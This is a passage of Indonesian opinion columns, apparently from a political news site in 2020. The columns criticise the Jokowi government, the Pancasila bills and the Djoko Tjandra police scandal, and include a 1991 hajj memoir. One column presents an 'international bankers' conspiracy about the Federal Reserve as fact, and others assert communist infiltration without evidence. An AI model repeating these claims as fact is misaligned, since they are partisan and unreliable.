pelanggaran apa-apa terhadap konstitusi UUD 1945. Tragedi politik paling tragis adalah DPR meloloskan usulan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) menjadi RUU hak usul inisiatif DPR untuk dibahas bersama pemerintah. Namun setelah mendapat penolakan keras dari masyarakat, khususnya umat Islam, giliran pemerintah yang mengusulkan RUU Badan Pembinaan Ideologi Pancasila (BPIP). Ngaco dan ngawur. Sayangnya RUU BPIP masih dengan misi dan tujuan yang sama dengan RUU HIP. Bernapsi sekali untuk menjadikan Pancasila tanggal 1 Juni 1945 sebagai dasar pijakan. Bukan Pancasila tanggal 18 Agustus 1945 yang berbasis pada konsensus tanggal 22 Juli 1945. Salain itu, RUU BPIP juga bermaksud untuk menepatkan pemerintah dan BPIP sebagai panafsir kebenaran mutlak dari Pancasila. Ini sangat tragis, dan miris wajah perpolitikan kita di bawah pemerintahan sekarang. Wajah sosial kemasyarakatan kita bertambah parah dan kusam. Nilai etika dan kepatutan tidak menjadi hal tabuh dan mamalukan bagi penguasa. Sabaliknya, penguasa dengan enteng melakukan prostitusi politik, kata Rocky Gerung di pertemuan KAMI Ahad kemarin, di kawasan Cilandak Jakrata Selatan. Tragisnya, prostitusi politik itu dilakukan dengan telanjang di depan rakyat. Tidak perlu risih dan malu. Prostitusi politik paling yahud hit dan hot adalah tawaran jabatan penting, di bawah atau setingkat menteri kepada Achamad Purnomo agar tidak maju sebagai Calon Walikota Solo pada Pilkada Desember 2020 nanti. Pasalnya, Achmad Purnomo yang sekarang Wakil Walikota Solo itu menjadi pesaing paling kuat untuk anak Presiden Joko Widodo Gibran Rakabuming. Padahal anak Presiden Jokowi belum punya kapasitas dan kapabilitas untuk jabatan setingkat Walikota Solo. Masih perlu waktu untuk membaca dan belajar yang banyak. Jangan juga hanya komik yang dibaca. Mendingan matangkan diri untuk jualan martabak dululah. Toh, nanti bisa meningkatkan kapasitas dan kapabilitas sambil jualan martabak. Jangan sampai baru mau belajar tentang tata kelola pemerintahan saat sudah menjabat Walikota Solo nanti. Penguasa sekarang, KKN sepertinya menjadi hal yang biasa dan wajar saja. Tidak lagi hal yang tabuh dan memalukan. Mendukung anak dan menantu untuk Pilkada Walikota Solo dan Walikota Medan tidak dianggap melanggar etika dan norma kapatutan. Sikap yang sangat ditentang oleh Soekarno, Soeharto, Habibie dan Megawati. Terlalu mudah dan gampang untuk Soekarno, Soeharto dan Habibie menjadikan ana-anak mereka menjabat Gubernur, Bupati dan Walikota. Soekarno bisa saja menunjuk anaknya tanpa melalui pemilihan di DPRD. Ali Sadikin jadi Gubenur DKI pertama kali tanpa pemilihan di DPRD. Begitu juga dengan Soeharto dan Habibie. Dengan hanya suara Fraksi Golkar dan ABRI di DPRD saja, sudah lebih dari cukup untuk menjadikan anak-anak Soeharto dan Habibie menjadi Gubernur, Bupati dan Walikota. Namun itu tidak dilakukan Soekarno, Soeharto dan Habibie, karena ada hambatan norma etika dan kepantasan. Begitu juga dengan Megawati. Pada tahun 1999 itu, DPRD DKI Jakarta dikuasai oleh Fraksi PDIP. Namun Megawati tidak mendorong anaknya, Pranda Probowo dan Puan Maharani menjadi Gubernur DKI Jakarta. Yang dijagokan Fraksi PDIP malah pasangan Sutiyoso-Fauzi Bowo. Padahal keduanya adalah produk Orde Baru. Begitulah soal norma etika dan kepantasan itu berbicara. Untuk soal etika ini, kita harus memberikan apresiasi dan penghormatan kepada Soekarno, Soeharto, Habibie dan Megawati. Beda antara langit dan bumi dengan Rezim Jokowi yang memang oligarkhis, bahkan otokratis. Makanya, sangat tepat para tokoh bersikap untuk berkoalisi. Koreksi memang harus dilakukan oleh kekuatan yang solid. Pemerintah Sudah Out Of Orde. Di kalangan umat Islam, semangat korektif sudah terbentuk dengan sikap Majelis Ulama Indonesia (MUI) yang jelas dan tegas. Maklumat dan dalam waktu dekat "tahdzir" akan dikeluarkan MUI. Koreksi atas penyimpangan ideologi oleh kekuatan komunis yang diduga menyusup di pemerintahan dan Partai Politik. MUI sampai pada ancaman aksi besar-besaran (masirah qubro). Sikap MUI tersebut mendapat dukungan luas dari masyarakat, khususnya umat Islam. Pemerintahan Jokowi dinilai sudah "out of order" bertindak berlebihan. Prinsip "negara adalah aku" telah menyuburkan Korupsi, Kolusi, dan Nepotisme (KKN). Ekonomi politik, dan hukum terasa semakin amburadul dan tak jelas arah. Bak kendaraan yang melaju tak terkendali, karena rem blong dan supir tak mengerti arah mau kemana. Pasrah menuju kecelakaan fatal. Negara harus diselamatkan. Sinyal "SOS" telah berbunyi. Sebenarnya saat tepat untuk Presiden Jokowi mundur dengan terhormat. Demi untuk kebaikan bangsa ke depan. Beri kepercayaan kepada nakhoda atau driver lain yang lebih segar, paham dan mahir. Atau menunggu dahulu koreksi yang lebih keras? Belajarlah dari sejarah. Sebab sejarah mencatat bahwa keterlambatan dalam pengambilan keputusan dapat berakibat pada penyesalan. Bisa jatuh dalam keadaan yang tidak terhormat. KAMI telah terbentuk. Semangat perubahan semakin menguat. Gumpalan perlawanan tidak bisa lagi dianggap ringan. Sebagaimana dukungan kepada MUI untuk menjadi lokomotif perjuangan umat Islam, maka dukungan kepada KAMI pun akan membesar dengan sendirinya. Dekkarasi KAMI Ahad kemarin, mengingatkan publik pada KAMI saat gerakan perubahan politik tahun 1966-an dahulu. KAMI kini adalah untuk masa depan yang lebih baik dan bermartabat. Sejarah selalu berulang. Biasanya kebenaran selalu di pihak yang menang. Kami semua mendukung KAMI. Selamat berjuang. Penulis adalah Pemerhati Politik dan Kebangsaan.

Djoko Tjandra Ditangkap Setelah Tiga Jenderal Korban

by M. Rizal Fadillah Jakarta FNN – Ahad (02/08). Buronan terpidana kasus pengalihan hak tagih (cessie) Bank Bali Djoko S. Tjandra akhirnya tertangkap di Kuala Lumpur Malaysia. Uniknya tertangkapnya Djoko didahului dengan terbongkarnya kasus memalukan Mabes Polri. Bukan institusi Kepolisian. Sejumlah institusi negara lain juga terlibat dalam kasus Djoko Tjandra. Misalnya, Kejaksaan Agung, Ditjen Imigrasi Kemenkumham, Ditjen Kependudukan dan Catatan Sipil (Dukcapil) Kemengri, dan Ditjen Perhubungan Udara Kementerian Perhubungan. Yang sangaty memalukan itu adalah Mabes Polri memberikan Surat Jalan kepada Djoko Tjandra. Sehingga seorang buronan bisa keluar masuk Indonesia dengan leluasa. Kolusi dengan koruptor yang terhukum tentu saja sangat mencoreng kesatuan Kepolisian. Korban dari perilaku Djoko S Tjandra ini sekurangnya tiga Jenderal Polisi dicopot. Mereka adalah Brigjen (Pol) Prasetijo Utomo, Irjen (Pol) Napoleon Bonaparte, dan Brigjen (Pol) Nugroho Slamet Wibowo. Yang terberat tentu Brigjen (Pol) Prasetijo Utomo sebagai pejabat Bareskrim yang menerbitkan Surat Jalan untuk Djoko Tjandra. Publik dapat menilai penangkapan cepat Djoko disebabkan tertekannya Mabes Polri, akibat terbongkar kasus yang berakibat pada pencopotan tiga perwira tinggi polisi. Andai tidak terjadi hal itu, maka diduga akan sulit untuk menangkap Djoko Tjandra. Sebab dia akan terus "dibiarkan" buron dan bebas keluar masuk Indonesia dengan mudah. Peristiwa ini menambah buruk citra kinerja aparat penegak hukum. Bukan hanya Kepolisian tentunya. Sedikitnya ada lima institusi yang negara yang terlibat. Penyalahgunaan kekuasaan semestinya bersanksi hukum berat, agar ada efek jera. Tanpa sanksi hukum yang berat, dipastikan peristiwa seperti ini akan terjadi berulang-ulang lagi. Kasus Djoko Tjandra ini jelas harus menjadi momentum perbaikan menyeluruh aparat penegak hukum kita. Ada tiga langkah yang dapat diperhatikan dalam perbaikan menyeluruh, khususnya di instansi Kepolisian agar terpulihkan citra dan kinerjanya, yaitu : Pertama, hentikan gagasan "democratic policing" yang implementasnya menjadi sangat multi fungsi di Polisi. Dimasa kini, Polisi menempati berbagai jabatan strategis. Mengingatkan dahulu masa Orba dengan Dwi Fungsi ABRI. Akar dari penyimpangan politik. Sekarang polisi bukan saja dwi fungsi, tetapi malah multi fungsi. Lebih farah dari ABRI dulu. Kedua, menyadari bahwa fungsi Kepolisian sebagai "alat negara". Bukan sebagai "alat pemerintah atau alat penguasa". Jika sebagai alat pemerintah, maka Kepolisian merupakan penegak hukum yang menjadi kepanjangan tangan kepentingan politik pemerintah, yang sekarang dinilai semakin pragmatis dan tidak demokratis. Ketiga, mengubah kebijakan yang diskriminatif. Kita semua tahu jika Polisi menangani kasus yang dilakukan oleh pengkritisi pemerintah, maka itu proses hukumnya sangat cepat dan kilat. Sebaliknya, jika pelakunya adalah pendukung pemerintah, maka bukan saja lambat tetapi dipastikan segera menguap. Diskriminasi ini harus diakhiri. Kasus Djoko Tjandra menjadi pelajaran penting bangsa untuk kembali mewaspadai bahaya "KKN", yang bukan hanya "Korupsi". Kini nampaknya mulai hilang dua nomenklatur "Kolusi" dan "Nepotisme". Akibatnya, terjadi kolusi masif antara pemerintah beserta "alatnya" dengan para pengusaha atau "cukong-cukong" yang mendukung. Begitu juga marak politik dinasti seperti kasus Gibran dan Bobby Nasution, anak dan mantu Presiden Jokowi. Perlu untuk segera menguatkan landasan hukum bahwa "kolusi" dan "nepotisme" adalah suatu kejahatan atau tindak kriminal. Sebagai Implementasi dari Ketetapan MPR No. XI/MPR/1998 dan Ketetapan MPR No. VII/MPR/2001. Undang-Undang mengenai KKN ini mendesak untuk segera dibuat. Munculnya kasus "kolusi" Djoko Tjandra serta "nepotisme" Gibran dan Bobby adalah momentum perbaikan tersebut. Penulis adalah Pemerhati Politik dan Kebangsaan.

Menanti Datangnya Panglima Masirah Qubra (Bag. Kedua)

by Dr. Masri Sitanggang Jakarta FNN – Ahad (02/08). Mari kembali melihat jejak sejarah. Sebab Perumusan falsafah negara RI mengikuti proses dialektika. Pada masa sidang BPUPK, golongan sekuler menghendaki negara ini berdasar sekulerisme, dimana Tuhan menjadi urusan pribadi. Tuhan tidak dibawa dalam urusan bernegara. Ini dapat dipandang sebagai tesa. Golongan Islamis menghendaki negara ini berdasa Islam. Dimana hidup bermasyarakat, berbangsa dan bernegara tidak lepas dari nilai-nilai agama. Gagasan ini dapat dipandang sebagai anti tesa. Maka lahirlah Piagam Jakarta sebagai sintesa (Pancasila rumusan resmi I). Sebuah naskah kompromi yang tepat disebut “gentlemen’s agreement”. Sebagaimana yang diberikan Sukiman, “RI tidak berdasar sekuler dan bukan berdasar Islam”. Namun Agama diletakkan di tempat terhormat. Pada masa pencoretan tujuh kata dari Piagam Jakarta untuk ditetapkan pada 18 Agustus 1945 ((Pancasila rumusan resmi II), sulit untuk disebut proses dialektika. Sebab, prosesnya berjalan kurang wajar. Namun perlu diingat, setelah pengakuan Belanda terhadap Indonesia, konstitusi 18 Agustus 1945 ini hanya berlaku di satu negara RIS (Pancasila rumusan resmi III). Selanjutnya, tidak berlaku sama sekali setelah RI bersama negara-negara bagian lainnya membubarkan diri untuk membentuk NKRI berkat Mosi Integral Natsir yang menandai berlakunya UUDS 1950 (Rumusan IV). Padahal perdebatan di Konstituante, bolehlah. Anggota konstituante kembali terbelah dua. Golongan sekuler mendukung Pancasila, yang bisa di sebut sebagai tesa. Tetapi perlu diingat pula, Pancasila yang dimaksud oleh golongan sekuler tidak merujuk pada rumusan tertentu. Tidak soal apakah rumususan pribadi Sukarno tanggal 1 Juni 1945, atau rumusan resmi II, III atau IV. Yang pasti, bukan rumusan Piagam Jakarta. Rumusan Piagam Jakarta mereka tolak keras seolah bukan rumusan Pancasila. Padahal, itulah rumusan resmi I tentang falsafah negara. Ini dibuktikan oleh pidato tokoh-tokoh PNI di Dewan Konstituante. Ketua Umum PNI, Soewirjo, misalnya, mengatakan, “saya tidak hendak membicarakan runtutan sila-sila atau susunan kata-katanya. Soal ini bagi PNI tidak merupakan soal yang prinsipil”. Tokoh PNI lainnya, Roeslan Abdoelgani menyatakan, “Ketuhanan disebut belakangan hendaknya jangan kemudian ditarik menjadi kesimpulan, seakan-akan dasar ini hendak kita belakangkan. Jauh daripada itu dia sekadar menuruti sistematik penjelasan saja”. Pidato Roeslan Abdoelgani tentu saja merujuk pada rumusan Pribadi Soekarno tanggal 1 Juni 1945. Sedangkan Golongan Islamis menghendaki kembali ke Piagam Jakarta (Pancasila rumusan resmi I). Ini dapat dipandang sebagai anti tesa. Rasio perimbangan suara antara sekuler (tesa) dan Islamis (anti tesa) adalah 5 : 4 (dalam angka kongkrit, 264 : 204). Di dalam suara golongan sekuler ada 80 suara angota PKI, yang sebenarnya sebagbagai atheis. PKI adalah pendukung Pancasila yang palsu, tulis Endang Saifuddin Anshari. Maka jika pihak sekuler dikurangi suara komunis, perbandingan menjadi 184 : 204 atau 9 : 10. Dalam sidang-sidang Konsituante, PKI sangat gigih menolak segala sesuatu yang berbau Islam. Ketuhanan, kata Aidit, adalah berarti kebebasan beragama. Yang berti pula kebebsan untuk tidak beragama. Juga kebebasan untuk mengajak orang untuk tidak beragama. Maka dari itu Dekrit Presiden 5 Juli 1959, meski atas dasar kekuasaan, dapat dipandang sebagai sintesa. Sebab, dekrit menyatakan kembali ke UUD 1945 dengan menyebut, “bahwa Piagam Jakarta tertanggal 22 Juni 1945 menjiwai Undang-Undang Dasar 1945 dan adalah merupakan suatu rangkaian kesatuan dengan konstitusi tersebut.” Satu konsideran yang tentu saja sangat tidak disukai oleh PKI. Jadi, Dekrit Prsiden menjadi Pancasila rumusan resmi V, atau rumusan terakhir adalah Pancasila 18 Agustus 1945 yang jiwanya adalah Piagam Jakarta. Bukan Pancasila tanggal 1 Juni 1945, sebab itu berarti menolak Dekrit 5 Juli 1959. Tampaknya para pengusung RUU HIP yang sekarang berlanjut dengan RUU BPIP mengajak bangsa ini kembali kepada dialektika awal. Diakletika masa-masa perdebatan di BPUPK. Mereka memperjuangkan sekulerisme sebagai tesa. Maka, agar terlahir sintesa baru, Gerakan Masirah Qubra, yang sedang menanti kedatangan Panglimanya. Tidak ada pilihan lain. Panglima Masirah Qubra harus dengan gigih memperjuangkan negara ini berdasar Pancasila 18 Agustus 19454. Ini tidak bisa terelakan. Sebab kalau Umat Islam kalah, atau tidak melakukan perlawanan, Indonesia akan menjadi sekuler-komunis. Kalau Umat Islam menang, negara tetap berdasarkan Pancasila konsensus 18 Agustus 1945. Dimana Piagam Jakarta, yang setidaknya Dekrit Presiden 5 Juli 1959 dapat dipertahankan. Selanjutnya, mengingat pertarungan dialektika ini menyangkut Falsafah NKRI. Bukan RI, maka segala yang berkaitan dengan Pancasila, baik itu rancangan produk hukum maupun lembaga, yang diusung oleh pihak lawan tarung harus dipandang sebagai satu kesatuan yang ditolak. Sebab, tidak sesuai dengan Pancasila Dekrit Presiden 5 Juli 1959. Peta jalan menuju sempurnanya penggusuran Pancasila Dekrit Presiden 5 Juli 1959 itu dimulai dari terbitnya Keppres no 24 tahun 2016 tentang hari lahirnya Pancasila. Keppres ini telah digunakan sebagai landasan dalam menyusun Naskah Akademik dan RUU HIP, seolah dengan Keppres ini, Pancasila 1 Juni adalah Pancasila yang sah berlaku. Selanjutnya terbit lagi Perpres no 54 tentang Unit Kerja Presiden Pembinaan Ideologi Pancasila, yang kemudian berganti nama menjadi Badan Pembinaan Ideologi Pancasila. Penguasa telah menjurus pada penafsir tunggal Pancasila. Bahkan secara terang-terangan melalui Ketua BPIP yang menyatakan musuh Pancasila adalah agama. Kemudian lahir RUU HIP yang secara fundamental menggusur Pancasila yang sah sebagaimana telah jelaskan di atas. Terakhir, lahir RUU BPIP yang akan memiliki kekuatan hukum untuk menjadi penafsir tunggal Pancasila sesuai kehendak lawan tarung. RUU HIP dan RUU BPIP itu satu paket. Makanya, BPIP tidak berkemomentar terhadap upaya penggantian Pancasila dalam RUU HIP. Oleh karena itu, sekali lagi, semua gagasan dan niat busuk yang ada di peta jalan penggusuran Pancasila Dekrit Presiden 5 Juli 1959 itu harus ditolak. Ini memerlukan Panglima Masirah Qubra yang tidak saja berani, tetapi juga cerdas dan tangkas yang didukung oleh semua lapisan umat Islam. Selamat berjuang Panglima Masirah Qubra. Selamat dan silahkan memimpin pertempuran yang berat, dan sangat menentukan ini. Tantang paling berat untuk bangsa dan negara menanti Panglima. (habis) Penulis adalah Ketua Panitia #Masyumi Reborn.

Kenangan Ibadah Haji Bersama Pak Harto (Bag. Kedua)

by Imron Pangkapi Jakarta FNN – Ahad (02/08). Sampai di Makkah saya terkejut bukan kepalang. Hampir semua hotel hotel besar di Makkah dipasang bendera Merah Putih dan lambang PT Tiga Utama. Ratusan bis Sapco Saudi yang mewah dibalut dengan bendera Merah Putih dan Tiga Utama. Musim haji tahun 1991 agaknya Makkah-Madinah dikuasai dengan jemahaah Haji dari Indonesia. Kami mendapat jatah di Hotel Aziz Qohair. Posisinya persis di seberang jalan layang. Kini, baik hotel maupun jalan layangnya sudah dibongkar. Posisinya sekitar belakang Tower Zamzam sekarang. Puluhan wartawan, petugas TPHI juga diinapkan di hotel ini. Saya bertemu keluarga besar Bintang dari Ujung Pandang. Ada Zainal Bintan, Firman Bintang, Ilham Bintang, dan banyak sekali tokoh dari Sulawesi. Sejumlah Guru Besar dari Universitas Hasanudin (Unhas) juga ada di sini. Saya jadi akrab dengan Prof. Halide. Sering bergandeng ke mesjid dengan beliau. Saya satu kamar dengan wartawan Republika Zaim Uchrowi, Masduki Badawi dan lain-lain. Sesak, karena di satu kamar ada sepuluh orang melantai. Hari pertama umrah, selepas thawaf dan sya'i hampir seharian saya tidak keluar dari pelataran Baitullah. Puas saya menangis melepas rindu. Tahun tahun sebelumnya saya mengikuti teraweh di Masjidil Haram melalui RCTI masih pakai decoder. Hari ini Ka'bah di depan mata saya. Suhanallaah walhamdulillaah ya robbii. Saya sedang memandang keberasan dan kemuliaan Baitullah. Melafadzkan begitu banyak rasa syukur. Allah SWT memberikan kemudahan yang luar biasa kepada saya. Kemudahan yang di luar perhitungan yang normal. Hanya dalam waktu enam hari sejak bertemu sahabat Muhammad Buang, proses perjalanan haji saya begitu lancar. Tiba-tiba saya teringat kepada Pak Domo. Bergemuruh jiwa saya. Waktu itu Pak Domo masih penganut Kristen Protestan. Beliau belum kembali ke Islam. Di depan Baitullah itu saya bermunajat agar beliau mendapat hidayah dari Allah SWT. Subhanallaah, dua tahun kemudian Pak Domo betul-betul datang ke Baitullah. Sebagai petugas haji Tiga Utama, saya membantu semua apa yang dapat dilakukan. Ikut membagikan kain ikhram bagi jamaah dari kamar ke kamar. Mengantar jamaah yang kesulitan mencari hotelnya. Saya juga selalu membawa semprot air untuk menyiram siapa saja yang kepanasan. Waktu itu cuaca sangat ekstrem. Suhu siang hari mencapai 50 drajat. Tanggal 8 Dzulhijjah, pagi-pagi saya bersama petugas Tiga Utama Muchlis Hasyim dan kawan-kawan, kami sudah berangka ke Arafah. Kami harus duluan mempersiapkan kedatangan Presiden Suharto dan jamaah Tiga Utama. Ada ratusan tenda Tiga Utama. Berkibar bendera Merah Putih di Padang Arafah. Khusus untuk Pak Harto disediakan tenda transit. Tidak jauh dari tenda utama Khotbah Wukuf. Pada masa itu, kualitas AC belum sesempurna seperti zaman sekarang. Untuk pendinginan masih tambahan menggunakan kipas angin raksasa dan bantuan semprot air. Saya harus siaga sebagai petugas semprot air. Pada hari wukuf itu, Pak Harto dan rombongan tiba di tenda Tiga Utama sekitar pukul 11.00. Pak Harto, Ibu Tien beserta seluruh anak-mantu dan kerabat dekat. Tutut dan suaminya Indra Rukmana. Bambang dan isterinya Halimah. Tomi dan Mamik masih culun. Saya ingat Prabowo suami Titik, masih muda belia dan gagah. Mereka semua mengenakan pakaian ikhraam. Pak Harto didampingi sejumlah Jenderal, antara lainPangabTry Sutirsno, Danseskoad Letjend Faisal Tandjung, Pangkostrad Mayjend Wismoyo Arismunandar. Ada juga tiga Gubernur yang terus bersama Pak Harto. Mereka adalah Gubernur Jawa Barat Yogie S Memet, Gubernur Sumut Raja Inal Siregar dan Gubernur Sumsel Ramly Hasan Basri. Adapun Ajudan Presiden Kolonel Wiranto terus melekat di samping Pak Harto. Begitu juga dengan Ketua Tim TPHI Kolonel Hendro Priyono. Saya berada di tenda transit. Sekali-sekali berdiri menyemprotkan air. Setengah jam kemudian, pukul 11.30, kami sudah di tenda utama. Saya bertugas di saf atau barisan kedua, persis di belakang Menseneg Murdiono. Kemana-mana saya membawa "senjata" alat semprot penuh air bersih. Setelah semua jamaah berada di tenda utama, berulah Pak Harto masuk. Beliau hanya berdua Pak Ande Abdul Latief. Jamaah tertegun. Pak Harto mengucapkan salam dan langsung masuk ke tenda utama. Sedangkan Ibu Tien Suharto berada di bagian belakang yang dikhususkan untuk jamaah wanita. Kamipun wukuf bersama Pak Harto dalam satu tenda. "Al-hajju, Arofah" (Haji itu Wukuf di Arafah). Khotbah Wukuf disampaikan oleh KH Qosim Nurseha dan Sholat Jum’at dipimpin KH Hikmatullah. Banyak yang menangis ketika KH Qosim Nurseha menyampaikan khotbah Wukuf. Di mana-mana terdengar isyak tangis. Di tengah keheningan rangakaian ibadah wukuf itu, saya sekali-sekali berdiri untuk menyemprotkan air. Serrrr.....! Sekitar pukul 14.00, Pak Harto dan rombongan inti pindah ke Tenda Raja Saudi di atas Bukit Arafah. Mereka melanjutkan wukuf di tempat yang disediakan pemerintah Saudi. Sejumlah tentara baret merah Saudi Arabia, dengan senjata terhunus siaga mengawal Pak Harto. Setelah Pak Harto pergi, ternyata ada satu jenderal tertinggal yaitu Gubernur Sumel Ramly Hasan Basri. Saya kenal secara pribadi dengan beliau ini. Kami sesama orang Sumsel. Karena itu saya menemaninya. Beliau "sengaja" tertinggal, karena ingin bertemu isterinya yang berhaji ikut rombongan jamaah Sumsel. Zaman itu belum ada google maaps. Mencari alamat tenda Sumsel seperti membaca "peta buta". Hampir saya dan Pak Ramly tersesat. ...Musim Haji tahun 1991 berbeda dengan keadaan sekarang. Rukun melempar jumrah penuh sesak, tapi lancar. Ketiga jumrah (wusta, ula dan aqabah) masih berupa tugu/tiang. Tingginya sekutar tiga meter. Lebarnya tidak lebih satu meter. Ketika lima tahun kemudian saya datang berhaji lagi, ketiga jumrah sudah berubah. Berbentuk cawan. Batu-batu bekas lemparan masuk ke bawah. Sekarang, sejak sepuluh tahun terakhir, ketiga-tiga jumrah sudah berubah total. Diperlebar model tembok pilar. Lebih mudah melemparnya. Saya punya pengalaman indah menikmati Masjidil Haraam lama. Saya senang sekali sholat dari berbagai penjuru. Sambil berdoa agar dapat sholat dari seluruh arah belahan muka bumi. Sholat dari berbagai benua. Menghadap dari Timur, Barat, Utara Selatan. Dari delapan penjuru mata angin. Pada bagian pelataran Ka'bah masih ada kolam air zam-zam. Kita bisa turun ke basement yang persisi di bawah Ka'bah. Ratusan cangkir dirantai di sekitar keran air zam-zam. Jamaah bisa dengan mudah berwudhu di situ. Pernah suatu kali saya ingin tahu, darimana sumber air zamzam itu? Saya memutar semua area basement. Ternyata di lorong bawah tanah ada mesin penyedot dengan pipa dragon sebesar pohon pohon kelapa. Ada petugas teknisi di ruangan balik kaca standby 24 jam. Zaman kini air zam-zam sudah tersebar dalam gentong di seluruh penjuru Masjidil Haram dan Mesjid Nabawi. Subhanallah, rindu sekali sama Baitullah...rindu lagi untuk ziarah ke Rosulullah SAW... Penulis adalah Wartawan Senior.

Jinakkan Segera “Independensi Bank Sentral”

by Dr. Margarito Kamis (Bagian Akhir) Jakarta FNN – Sabtu (01/08). Bukan pemerintah, karena Wilson telah terkoneksi ke dalam “London Connection” jauh sebelum dirinya dicalonkan jadi Presiden, tetapi rakyat Amerikalah yang terkecoh. Seluruh kerusakan, setidaknya ketidaksenangan bankir terhadap serangkaian pembatasan kebijakan perbankan, yang diatur dalam National Banking Act 1864, berakhir dan hilang sudah. Kewenangan mengatur dan membuat kejebijakan deposito, penerbitan bond, bank notes, bond antar bank, deposito, termasuk bunga deposito, tabungan biasa, begitu juga pasar sekunder, pengelolaan inflasi, hilang sudah. Kewenangan di bidang-bidang itu, yang diberikan oleh National Banking Act 1864, dan diletakan pada Kementerian Kuangan, terhapus sudah. The Federal Reserve Act, dasar pendirian The Federal Reserve, yang tidak lain adalah Bank Sentral model Paul Warburg itu, kini memegang kewenangan itu. Praktis kewenangan-kewenangan itu beralih seluruhnya kepada Bank Sentral. Terencana dengan baik, terorganisasi dengan baik, memperhitungkan semua deteilnya, itulah kecanggihan oligarki ini mengamputasi kewenangan pemerintah. Untuk mengunci, dalam makna memastikan pemerintah tak bisa ikut campur merancang kebijakan sistem keuangan, The Federal Reserve, yang tidak lain adalah Bank Sentral itu diberi status “independen”. Bagaimana oligarki ini menemukan dan menyodorkan status “independensi” sebagai benteng itu? Adakah praktik bernegara yang dapat dijadikan pijakan analoginya? Siapa yang mengotakinya? Apakah Wilson, presiden yang juga profesor Hukum Administrasi Negara itu? Tak ada penjelasan kongklusif. Tetapi Wilson menyadarinya. Kesadaran itu diungkapkan oleh Kolonel House, sahabat Wilson. Seperti dikutip Mullins, House menjelaskan dia dan presiden Woodrow Wilson tahu bahwa dengan ditandatanganinya The Federal Reserve Act, dalam kata-katanya, they have created an instrument more powerfull than the Supreme Court. Logis menilai status ini “independen” The Federal Reserve, terilhami oleh status konstitusional Supreme Court. Apalagi Kolonel House dalam lanjutan pernyataannya, yang dikutip Mullins memperlihatkan dengan jelas “status independen” dirancang untuk mencegah campur tangan pemerintah. Pernyataannya The Federal Reserve Board of Governors actualy comprise a “Supmere Court” (tanda petik dari saya), of Finance. Kolonel House dalam pernyataan lanjutannya menyatakan ”and there was no appeal from any of their rulings. Terkoneksi dalam ekspektasi yang sama, Wilson, sang Prersiden pada kesempatan lain menyatakan, dalam kata-katanya “our system of credit is concentrated in the Federal Resrve”. William L. White, penulis biografi Bernard Baruch, menyatakan sejarah akan menunjukan pada suatu hari konstitusi terhenti. Konstitusi diganti dengan UU mengatur rakyat Amerika. Dan kebebasan kita, diurus oleh sekelompok kecil Bankir Internasional. Hemat saya pernyataan ini membuktikan kekhawatiran Thomas Jeferson, yang disampaiklan lebih dari seabad sebelumnya beralasan. Dalam kasus Amerika, seorang republikan yang memiliki garis politik berbeda dengan rekan-rekannya, memberi penilaian refleksif yang menarik. UUD, katanya tidak mengotorisasi Bank Sentral merebut kontrol terhadap kebijakan keuangan, termasuk pengeluaran masyarakat, hingga Kongres mengotorisasinya kepada The Federal Reserve. Ia menunjuk Kolonel House dan Paul Warburg berada dibalik skenario ini. Memang ekspektasi oligarkis ini, tidak tercapai secara sempurna. Itu disebabkan dewan gubernur, dapat ikut ditentukan oleh pemerintah. Tetapi, diakui sendiri oleh Wilson ini merupakan kompromi. Dan Paul Warburg, pada kesempatan lain sesudah itu, mengakui, akan dilakukan penyesuaian. Tetapi apapun itu, The Federal Reserve telah menyandang status “independen”, status yang sama persis dengan Mahkamah Agung. Hebatnya status The Federal Reserve itu tidak dinyatakan dalam konstitusi, melainkan hanya dalam UU. Logis menyatakan ekspektasi oligarki terhadap status “independen” The Federal Reserve punya dua tujuan. Pertama, disatu sisi membatasi campur tangan pemerintah dalam kebijakan keuangan. Kedua, disisi lain, kebijakan keuangan sepenuhnya menjadi kewenangan Bank Sentral. Excecutive bussines secara konstitusional menjadi terbatasai dengan sendirinya. Pembatasan itu dilakukan, sekali lagi, melalui UU, khususnya The Federal Resrtrve Act. Dan ini semua, sejauh uraian pada artikel sebelumnya dapat dilacak hingga sejarah Golorius Revolution 1688 di Inggris. Kebijakan dan urusan keuangan yang sebelum revolusi sepenuhnya dikonsentrasikan pada Raja atau Ratu, dialihkan ke parlemen. Kewenangan ini diatur dalam UU, dan UU (Tonage Act 1694) diatur pendirian bank. Terilhami oleh praktik ini, Oligarki Keuangan Internasional memastikannya lebih jauh, yaitu mengonsentrasikan kewenangan memuat kebijakan keuangan pada Bank Sentral. Pemerintah dikeluarkan dari urusan ini. Pada titik ini menarik dilihat dari sudut rezim hukum. Inggris tak punya konstitusi tertulis. Berbeda dengan Amerika, juga Indonesia. Karena Inggris tak punya konstitusi tertluis, maka UU dapat, dengan apapun itu, diandalkan untuk mengatur apa saja yang hendak di atur. Amerika disisi lain memilki konstitusi tertulis, tetapi dalam kenyataannya Konstitusi ini tidak mengatur Bank Sentral. Ini lopholenya. Lophole ini dikenal betul oleh Bakir Internasional, yang telah terkoneksi dengan sejumlah ahli hukum, ekonomi dan politik. Menariknya Amerika, sebagaimana Inggris jauh sebelumnya, telah mengkeramatkan doktrin Rule of Law. Semuanya berdasarkan hukum dan UU. Nalarnya? Asal diatur dalam UU, maka semua menjadi sah. Pakailah UU mengatur The Federal Resetrve. Toh konstitusi dalam kenyataannya tidak mengatur Bank Sentral, maka benar diatur melalui UU. Hebat, sekaligus betapa berbahayanya doktrin rule of Law itu, bila tidak dikenali dengan cermat, dan digunakan dengan cara yang penuh bijaksana. Doktrin ini bisa dijadikan bank sampah, penampung semua ekspektasi busuk, sebagaimana penciptaan The Federal Reserve, yang tidak lain adalah ekspektasi International Bankir menciptakan uang. Jangan lupa, uang merupakan komoditi menurut penilaian J. P Morgan. Dan dalam penilaiannya pula setiap orang memiliki kecenderungan berhutang. Menciptakan bank, denghan kewenangan merancang sendiri kebijakan keuangan, maka kredit, sebagaimana diakui sendiri oleh J.P. Morgan dapat dimobilisasi. Paul Warburg, beberapa tahun setelah kehadiran Bank Sentral, meyakinkan publik Amerika dengan pernyataan yang terlihat logis. Sesudah perang dunia pertama, dalam penilaian Warburg, menujukan pentingnya Bank Sentral, memiliki fungsi strategis. Fungsi itu, salah satunya adalah membiayai perang dunia. Tragisnya Indonesia ikut-ikutan mengatur, dalam konstitusi UUD 1945 setelah empat kali diubah, Bank Sentral berstatus independen. Persis The Federal Reserve, Bank ini memegang kewenangan dibidang sistem keuangan. Persis The Fed’s, pemerintah tak bisa ikut campur dalam urusan ini. Tepatkah ini? Apapun alasannya, hemat saya, tidak. 